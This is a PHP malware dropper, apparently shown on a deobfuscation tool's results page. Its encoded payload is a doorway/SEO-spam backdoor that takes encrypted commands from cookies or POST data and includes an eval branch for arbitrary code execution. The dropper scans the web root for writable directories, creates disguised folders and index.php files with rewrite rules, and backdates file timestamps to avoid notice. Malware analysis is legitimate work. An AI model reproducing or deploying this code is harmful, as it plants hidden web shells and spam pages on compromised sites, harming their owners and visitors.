24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%3B%24_hgj2uuv9-%3E_g7wwk%28%29%3B%7Decho%20%24_hgj2uuv9-%3E_neje4%28%29%3B%7D%7D%7D_v6ya63%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20-1%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%3B_cwqzsic%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt12%22%29%2C%200%2C%204%29%29%3B_xyxad4u%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt22%22%29%2C%200%2C%204%29%29%3Bfunction%20_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%7B%24_hiskm125%20%3D%20%22%22%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%29%20%7Bfor%20%28%24_d9po7r88%20%3D%200%3B%20%24_d9po7r88%20%3C%20strlen%28%24_1drrwf6g%29%20%26%26%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%20%24_d9po7r88%2B%2B%2C%20%24_46zwfcoo%2B%2B%29%20%7B%24_hiskm125%20.%3D%20chr%28ord%28%24_6pfzvk6r%5B%24_46zwfcoo%5D%29%20%5E%20ord%28%24_1drrwf6g%5B%24_d9po7r88%5D%29%29%3B%7D%7Dreturn%20%24_hiskm125%3B%7Dfunction%20_udz7t%28%24_6pfzvk6r%2C%20%24_1drrwf6g%2C%20%24_7ixx1hmk%29%7Breturn%20_vyfa9%28_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%2C%20%24_7ixx1hmk%29%3B%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24_oy6s5dxd%20%3D%3E%20%24_6pfzvk6r%29%20%7B%24_6pfzvk6r%20%3D%20%40unserialize%28_udz7t%28_er50gh%3A%3A_hitc7%28%24_6pfzvk6r%29%2C%20%24_oy6s5dxd%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%29%3Bif%20%28isset%28%24_6pfzvk6r%5B%27ak%27%5D%29%20%26%26%20_er50gh%3A%3A%24_wqq8o3s4%20%3D%3D%20%24_6pfzvk6r%5B%27ak%27%5D%29%20%7Bif%20%28%24_6pfzvk6r%5B%27a%27%5D%20%3D%3D%20%27doorway2%27%29%20%7Bif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27check%27%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_skc19%28explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%2C%20%22%22%29%3B%24_x0013v0w%20%3D%20%40unserialize%28%24_x0013v0w%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%22cache%22%20%3D%3E%20_v6ya63%3A%3A_vga85%28%29%2C%22keywords%22%20%3D%3E%20count%28_xyxad4u%3A%3A_3ap03%28%29%29%2C%22templates%22%20%3D%3E%20_cwqzsic%3A%3A_moy7x%28%29%29%29%3B%7Dexit%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27templates%27%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%22templates%22%5D%20as%20%24_swlicjbm%29%20%7B_cwqzsic%3A%3A_g7wwk%28%24_swlicjbm%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27keywords%27%29%20%7B_xyxad4u%3A%3A_g7wwk%28%24_6pfzvk6r%5B%22keywords%22%5D%29%3B_er50gh%3A%3A_0cgo1%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27update_sitemap%27%29%20%7B_er50gh%3A%3A_0cgo1%28TRUE%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27pages%27%29%20%7B%24_pdaxmdge%20%3D%200%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28_cwqzsic%3A%3A_moy7x%28%29%20%3E%200%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%27pages%27%5D%20as%20%24_hgj2uuv9%29%20%7B%24_1gi3w6uw%20%3D%20_v6ya63%3A%3A_q42pz%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3Bif%20%28empty%28%24_1gi3w6uw%29%29%20%7B%24_1gi3w6uw%20%3D%20new%20_v6ya63%28_cwqzsic%3A%3A_8dnv4%28%29%2C%20%24_hgj2uuv9%5B%22text%22%5D%2C%20%24_hgj2uuv9%5B%22keyword%22%5D%2C%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%29%3B%24_1gi3w6uw-%3E_g7wwk%28%29%3B%24_pdaxmdge%20%2B%3D%201%3Bif%20%28%21in_array%28%24_hgj2uuv9%5B%22keyword%22%5D%2C%20%24_265utrew%29%29%20%7B_xyxad4u%3A%3A_7z4dg%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3B%7D%7D%7D%7Decho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22pages%22%20%3D%3E%20%24_pdaxmdge%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22ping%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_5k4u7%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22robots%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_b4fbz%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27eval%27%29%20%7Beval%28%24_6pfzvk6r%5B%22data%22%5D%29%3Bexit%3B%7D%7D%7D%24_0rm86w7s%20%3D%20new%20_er50gh%28%29%3Bif%20%28%24_0rm86w7s-%3E_ih05m%28%29%29%20%7B%24_0rm86w7s-%3E_lhhd6%28%29%3B%7Dexit%28%29%3B";

$payload_url = "";

$payload_type = "TYPE_DIR";



srand(time());





$common_names = Array(

    "blog",

    "forum",

    "site",

    "docs",

    "journal",

    "archive",

    "article",

    "articles",

    "page",

    "pages",

    "viewtopic",

    "tag",

    "tags",

    "id",

    "topic",

    "topics",

    "wiki",

    "review",

    "reviews",

    "category",

    "slug",

);





$common_names2 = Array(

    "viewtopic",

    "page",

    "article",

    "archive",

);



$common_names3 = unserialize(rawurldecode("a%3A10%3A%7Bi%3A0%3Bs%3A10%3A%22lisa-duffy%22%3Bi%3A1%3Bs%3A6%3A%22PoVpPt%22%3Bi%3A2%3Bs%3A8%3A%22for-sale%22%3Bi%3A3%3Bs%3A8%3A%22jVLvTlfK%22%3Bi%3A4%3Bs%3A6%3A%22cna-to%22%3Bi%3A5%3Bs%3A4%3A%22CTKs%22%3Bi%3A6%3Bs%3A15%3A%22barstow-rentals%22%3Bi%3A7%3Bs%3A3%3A%22ePL%22%3Bi%3A8%3Bs%3A14%3A%22bubble-numbers%22%3Bi%3A9%3Bs%3A6%3A%22IfGgfX%22%3B%7D"));



/////////////////////////////////////////////////////////

function comparer($a, $b)

{

    return strlen($a) - strlen($b);

}



if (!function_exists('file_put_contents')) {

    function file_put_contents($filename, $data)

    {

        $f = @fopen($filename, 'w');

        if (!$f) {

            return false;

        } else {

            $bytes = fwrite($f, $data);

            fclose($f);

            return $bytes;

        }

    }

}



function GetPathDiff($base_path, $full_path)

{

    $pos = strpos($full_path, $base_path);



    if ($pos === FALSE) {

        return FALSE;

    }



    return substr($full_path, $pos + strlen($base_path));

}



function GetWritableDirs()

{

    $res = Array();



    $analysys_queue = Array();



    $analysys_queue[] = GetDocRoot();



    $self_path = $_SERVER['SCRIPT_FILENAME'];

    while (($slash = strrpos($self_path, DIRECTORY_SEPARATOR)) !== FALSE) {

        $self_path = substr($self_path, 0, $slash);



        if ($self_path == GetDocRoot()) {

            break;

        }



        if (strlen($self_path)) {

            $analysys_queue[] = $self_path;

        }

    }



    foreach ($analysys_queue as $current_dir) {

        if (!in_array($current_dir, $res)) {

            $res = array_merge($res, GetDirectoryList($current_dir));

        }

    }

    $res = array_merge($analysys_queue, $res);



    return CheckWritable(array_unique($res));

}



function CheckWritable($dir_list)

{

    $dir_list_writable = Array();



    foreach ($dir_list as $dir) {

        if (@is_writable($dir) == TRUE) {

            $dir_list_writable[] = $dir;

        }

    }



    return $dir_list_writable;

}



function GetDirectoryList($dir, $depth = 10)

{



    $result = array();

    $dir_count = 0;



    if ($depth == 0) {

        return $result;

    }



    $dir = strlen($dir) == 1 ? $dir : rtrim($dir, '\\/');

    $h = @opendir($dir);

    if ($h === FALSE) {

        return $result;

    }



    while (($f = readdir($h)) !== FALSE) {

        if ($f !== '.' and $f !== '..') {

            $current_dir = "$dir/$f";

            if (is_dir($current_dir)) {

                $dir_count += 1;



                if ($dir_count >= $depth) {

                    break;

                }



                $result[] = $current_dir;

                $result = array_merge($result, GetDirectoryList($current_dir, $depth / 10));

            }

        }

    }



    closedir($h);



    return $result;

}



function GetDocRoot()

{

    $docroot_end = strrpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']);

    if ($docroot_end === FALSE) {

        return $_SERVER['DOCUMENT_ROOT'];

    } elseif ($docroot_end === 0) {

        return "/";

    } else {

        return substr($_SERVER['SCRIPT_FILENAME'], 0, $docroot_end);

    }

}



function GetRandStr($min, $max)

{

    $length = rand($min, $max);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyz';

    $charactersLength = strlen($characters);

    $randomString = '';

    for ($i = 0; $i < $length; $i++) {

        $randomString .= $characters[rand(0, $charactersLength - 1)];

    }

    return $randomString;

}



////////////////////////////////////////////////////////////////////////////////////////////



# get base local and remote path

$base_www_path = $host = @$_SERVER['HTTP_HOST'];

$base_local_path = GetDocRoot();



if (!($base_local_path_time = @stat($base_local_path . "/.htaccess"))) {

    if (!($base_local_path_time = @stat($base_local_path . "/index.php"))) {

        if (!($base_local_path_time = @stat($base_local_path . "/index.html"))) {

            if (!($base_local_path_time = @stat($base_local_path . "/.."))) {

                if (!($base_local_path_time = @stat($base_local_path))) {

                    $base_local_path_time = Array();

                    $base_local_path_time['mtime'] = time();

                }

            }

        }

    }

}



$htaccess = "%3CIfModule%20mod_rewrite.c%3E%0D%0ARewriteEngine%20On%0D%0ARewriteRule%20%5Eindex%5C.php%24%20-%20%5BL%5D%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-f%0D%0ARewriteCond%20%25%7BREQUEST_FILENAME%7D%20%21-d%0D%0ARewriteRule%20%5E%28.%2A%29%24%20.%2Findex.php%20%5BL%5D%0D%0A%3C%2FIfModule%3E";



$base_local_path_time = $base_local_path_time['mtime'];



if (!empty($payload_url))

{

    if (substr($payload_url, -1) == "/")

    {

        $payload_url = $payload_url . "index.php";

    }



    $tokens = explode("/", $payload_url, 4);

    $payload_path = $base_local_path . DIRECTORY_SEPARATOR . $tokens[3];



    @mkdir(dirname($payload_path), 0755);



    @file_put_contents($payload_path, rawurldecode($payload_file));

    @file_put_contents(dirname($payload_path) . "/.htaccess", rawurldecode($htaccess));



    @touch($payload_path, time() + 120);

    echo "URL#" . $payload_url . PHP_EOL;

    exit();

}



srand(time());



$dir_list_writable = GetWritableDirs();



if (count($dir_list_writable) == 0) {

    echo "STATUS_UNWRITABLE";

    exit();

}



usort($dir_list_writable, 'comparer');



$max_tries = 5;

foreach ($dir_list_writable as $current_dir)

{

    if ($max_tries == 0)

    {

        break;

    }

    $max_tries -= 1;



    if (TRUE)

    {

        if (rand() % 2)

        {

            $temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 8);

        }

        else

        {

            $temp_payload_dir = $current_dir . DIRECTORY_SEPARATOR . $common_names3[array_rand($common_names3)];

        }



        if (@file_exists($temp_payload_dir))

        {

            continue;

        }

        @mkdir($temp_payload_dir, 0755);

        @touch($temp_payload_dir, $base_local_path_time);



        if (!@is_dir($temp_payload_dir))

        {

            continue;

        }

    }

    else

    {

        $temp_payload_dir = $current_dir;

    }



    while (TRUE)

    {

        if ($payload_type === "TYPE_DIR")

        {

            $mode = 2;

        }

        elseif ($payload_type === "TYPE_FILE")

        {

            $mode = 1;

        }

        else

        {

            $mode = rand() % 2;

        }



        if ($mode === 0)

        {

            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . GetRandStr(5, 7) . ".php";

            break;

        }

        elseif ($mode === 1)

        {

            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . $common_names2[array_rand($common_names2)] . ".php";

            if (!@file_exists($full_payload_name))

            {

                break;

            }

        }

        else

        {

            $full_payload_name = $temp_payload_dir . DIRECTORY_SEPARATOR . "index.php";

            @file_put_contents($temp_payload_dir . DIRECTORY_SEPARATOR . ".htaccess", rawurldecode($htaccess));

            break;

        }

    }



    $uri_path = GetPathDiff($base_local_path, $full_payload_name);

    $full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/" . $uri_path);



    @file_put_contents($full_payload_name, rawurldecode($payload_file));

    if (@file_exists($full_payload_name)) {

        @touch($full_payload_name, time() + 120);

        echo "URL#http://" . str_replace("index.php", "", $full_uri) . PHP_EOL;

        exit();

    }

}



echo "STATUS_CANTUPLOAD";

exit();

Function Calls

defined 1

Variables

None

Stats

MD5 49ebe3fb44ea2d4511016aa933389b6c
Eval Count 0
Decode Time 118 ms